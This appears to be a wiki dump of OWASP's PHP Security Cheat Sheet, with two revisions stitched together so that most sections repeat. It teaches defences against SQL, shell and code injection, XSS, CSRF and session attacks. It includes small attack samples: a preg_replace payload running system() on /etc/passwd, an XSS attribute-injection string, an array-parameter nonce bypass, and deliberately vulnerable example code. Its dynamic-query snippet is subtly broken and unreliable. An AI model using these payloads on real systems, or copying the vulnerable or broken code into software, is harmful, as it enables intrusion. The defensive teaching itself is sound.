When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=File Inclusion Cheat Sheet=

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:22:34Z

Luke Plant: /* DRAFT CHEAT SHEET - WORK IN PROGRESS */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

====MySQLi Prepared Statements Wrapper====
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->num_rows) {
$out = array();
while (null != ($r = $result->fetch_array(MYSQLI_ASSOC)))
$out [] = $r;
return $out;
}
return null;
} else {
if (!$stmt = $DB->prepare($Query))
trigger_error("Unable to prepare statement: {$Query}, reason: " . $DB->error . "");
array_shift($args); //remove $Query from args
//the following three lines are the only way to copy an array values in PHP
$a = array();
foreach ($args as $k => &$v)
$a[$k] = &$v;
$types = str_repeat("s", count($args)); //all params are strings, works well on MySQL and SQLite
array_unshift($a, $types);
call_user_func_array(array($stmt, 'bind_param'), $a);
$stmt->execute();
//fetching all results in a 2D array
$metadata = $stmt->result_metadata();
$out = array();
$fields = array();
if (!$metadata)
return null;
$length = 0;
while (null != ($field = mysqli_fetch_field($metadata))) {
$fields [] = &$out [$field->name];
$length+=$field->length;
}
call_user_func_array(array(
$stmt, "bind_result"
), $fields);
$output = array();
$count = 0;
while ($stmt->fetch()) {
foreach ($out as $k => $v)
$output [$count] [$k] = $v;
$count++;
}
$stmt->free_result();
return ($count == 0) ? null : $output;
}
}

Now you could do your every query like the example below:

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT ?" , 5 , "Username" , 2);

Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.

'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.

====PDO Prepared Statement Wrapper====
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.

try {
$DB = new PDO("{$Driver}:dbname={$DatabaseName};host={$Host};", $Username, $Password);
} catch (Exception $e) {
trigger_error("PDO connection error: " . $e->getMessage());
}

function SQL($Query) {
global $DB;
$args = func_get_args();
if (count($args) == 1) {
$result = $DB->query($Query);
if ($result->rowCount()) {
return $result->fetchAll(PDO::FETCH_ASSOC);
}
return null;
} else {
if (!$stmt = $DB->prepare($Query)) {
$Error = $DB->errorInfo();
trigger_error("Unable to prepare statement: {$Query}, reason: {$Error[2]}");
}
array_shift($args); //remove $Query from args
$i = 0;
foreach ($args as &$v)
$stmt->bindValue(++$i, $v);
$stmt->execute();
return $stmt->fetchAll(PDO::FETCH_ASSOC);
}
}

$res=SQL("SELECT * FROM users WHERE ID>? ORDER BY ? ASC LIMIT 5" , 5 , "Username" );

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:

====Not Supported Fields====
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:

function whitelist($Needle,$Haystack)
{
if (!in_array($Needle,$Haystack))
return reset($Haystack); //first element
return $Needle;
}

$Limit = $_GET['lim'];
$Limit = $Limit * 1; //type cast, integers are safe

$Order = $_GET['sort'];
$Order=whitelist($Order,Array("ID","Username","Password"));

This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.

====Dynamic Queries====
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.

When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:

$Query="SELECT * FROM table WHERE ";
foreach ($_GET['fields'] as $g)
$Query.=whitelist($g,Array("list","of","possible","fields","here"))."=?";
$Values=$_GET['values'];
array_unshift($Query); //add to the beginning
$res=call_user_func_array(SQL, $Values);

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.
